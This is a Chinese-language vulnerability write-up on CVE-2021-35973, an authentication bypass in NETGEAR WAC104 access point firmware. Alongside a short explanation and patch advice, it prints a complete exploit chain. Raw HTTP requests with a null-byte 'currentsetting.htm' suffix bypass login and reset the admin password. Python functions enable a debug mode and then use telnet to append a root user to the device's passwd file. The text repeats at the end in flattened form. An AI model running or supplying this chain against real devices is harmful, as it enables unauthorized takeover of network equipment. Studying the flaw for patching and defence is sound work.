CVE-2021-35973-IOT认证绕过分析
字数 826 2025-08-06 20:12:39

NETGEAR WAC104 认证绕过漏洞分析 (CVE-2021-35973) 教学文档

漏洞概述

NETGEAR WAC104 设备在版本低于 v1.0.4.15 的固件中存在认证绕过漏洞,位于 /usr/sbin/mini_httpd 程序中。攻击者可以通过在 HTTP 查询中添加 &currentsetting.htm 子字符串来绕过认证,实现未授权访问设备资源。

漏洞分析

1. 认证绕过机制

漏洞核心在于 mini_httpd 程序中的认证标志位处理逻辑:

  1. 标志位设置点:程序中有三处会将认证标志位设置为1:

    • 存在 SOAPAction 头部字段时
    • 存在 setupwizard.cgi 字段时(仅设备首次启动时有效)
    • URI 中包含 currentsetting.htm
  2. 漏洞利用点

    • 使用 strstr 函数检查 URI 时没有正确处理 NULL 字节截断
    • 可以构造类似 /uri%00currentsetting.htm 的请求绕过检查
    • 标志位被设置后,程序会跳过基本的 .htpasswd 文件认证

2. 漏洞利用链

  1. 认证绕过

    GET /uri%00currentsetting.htm HTTP/1.1
    Host: aplogin
    
  2. 密码重置

    GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
    Host: aplogin
    
  3. 会话绕过

    POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1
    Host: aplogin
    Content-Length: 11
    Content-Type: application/x-www-form-urlencoded
    
    todo=reboot
    

漏洞利用步骤

1. 初始访问

  1. 重置会话状态:

    def reset_session_state_or_sth():
        action(b'\r\n'.join([
            b"GET /401_access_denied.htm HTTP/1.5",
            b"Host: aplogin",
            b"",
            b""
        ]))
    
  2. 修改 NVRAM 密码:

    def change_nvram_password(new_password):
        new_password = bytes(new_password, "utf-8")
        action(b'\r\n'.join([
            (b"GET /setup.cgi?todo=con_save_passwd&"
             b"sysNewPasswd=%s&sysConfirmPasswd=%s"
             b"%%00currentsetting.htm HTTP/1.5") % (new_password, new_password),
            b"Host: aplogin",
            b"",
            b""
        ]))
    

2. 完全密码修改

def change_password_full(old_password, new_password):
    old_password = bytes(old_password, "utf-8")
    new_password = bytes(new_password, "utf-8")
    post_body = (
        b"sysOldPasswd=%s&sysNewPasswd=%s&sysConfirmPasswd=%s&"
        b"question1=1&answer1=a&question2=1&answer2=a&"
        b"todo=save_passwd&"
        b"this_file=PWD_password.htm&"
        b"next_file=PWD_password.htm&"
        b"SID=&h_enable_recovery=disable&"
        b"h_question1=1&h_question2=1"
    ) % (old_password, new_password, new_password)
    action(b'\r\n'.join([
        b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1",
        b"Host: aplogin",
        b"Content-Length: %i" % len(post_body),
        b"Content-Type: application/x-www-form-urlencoded",
        b"",
        post_body
    ]))

3. 提权操作

  1. 启用调试模式:

    def enable_debug_mode():
        action(b'\r\n'.join([
            b"GET /setup.cgi?todo=debug%00currentsetting.htm HTTP/1.5",
            b"Host: aplogin",
            b"",
            b""
        ]))
    
  2. 添加 root 用户:

    def add_root_user(password):
        p = remote(IP, 23)
        t = telnetlib.Telnet()
        t.sock = p
        t.write(b"admin\n")
        t.write(bytes(password, "utf-8") + b"\n")
        t.write(b"cd /tmp/etc\n"
                b"cp passwd passwdx\n"
                b"echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx\n"
                b"mv passwd old_passwd\n"
                b"mv passwdx passwd\n"
                b"echo DONEMARKER\n")
        t.close()
    

漏洞修复

升级到固件版本 v1.0.4.15 或更高版本。

相关漏洞

类似漏洞:

  • PSV-2021-0133
  • CVE-2020-15633
  • CVE-2019-17137

技术总结

  1. 漏洞根源

    • 不安全的 strstr 函数使用导致认证绕过
    • 认证标志位设计缺陷
    • 会话管理不严格
  2. 利用条件

    • 网络可达目标设备
    • 固件版本低于 v1.0.4.15
  3. 影响

    • 未授权访问
    • 密码重置
    • 权限提升
    • 完全设备控制

防御建议

  1. 及时更新固件
  2. 限制管理界面访问
  3. 使用强密码策略
  4. 监控异常登录行为
NETGEAR WAC104 认证绕过漏洞分析 (CVE-2021-35973) 教学文档 漏洞概述 NETGEAR WAC104 设备在版本低于 v1.0.4.15 的固件中存在认证绕过漏洞,位于 /usr/sbin/mini_httpd 程序中。攻击者可以通过在 HTTP 查询中添加 &currentsetting.htm 子字符串来绕过认证,实现未授权访问设备资源。 漏洞分析 1. 认证绕过机制 漏洞核心在于 mini_httpd 程序中的认证标志位处理逻辑: 标志位设置点 :程序中有三处会将认证标志位设置为1: 存在 SOAPAction 头部字段时 存在 setupwizard.cgi 字段时(仅设备首次启动时有效) URI 中包含 currentsetting.htm 时 漏洞利用点 : 使用 strstr 函数检查 URI 时没有正确处理 NULL 字节截断 可以构造类似 /uri%00currentsetting.htm 的请求绕过检查 标志位被设置后,程序会跳过基本的 .htpasswd 文件认证 2. 漏洞利用链 认证绕过 : 密码重置 : 会话绕过 : 漏洞利用步骤 1. 初始访问 重置会话状态: 修改 NVRAM 密码: 2. 完全密码修改 3. 提权操作 启用调试模式: 添加 root 用户: 漏洞修复 升级到固件版本 v1.0.4.15 或更高版本。 相关漏洞 类似漏洞: PSV-2021-0133 CVE-2020-15633 CVE-2019-17137 技术总结 漏洞根源 : 不安全的 strstr 函数使用导致认证绕过 认证标志位设计缺陷 会话管理不严格 利用条件 : 网络可达目标设备 固件版本低于 v1.0.4.15 影响 : 未授权访问 密码重置 权限提升 完全设备控制 防御建议 及时更新固件 限制管理界面访问 使用强密码策略 监控异常登录行为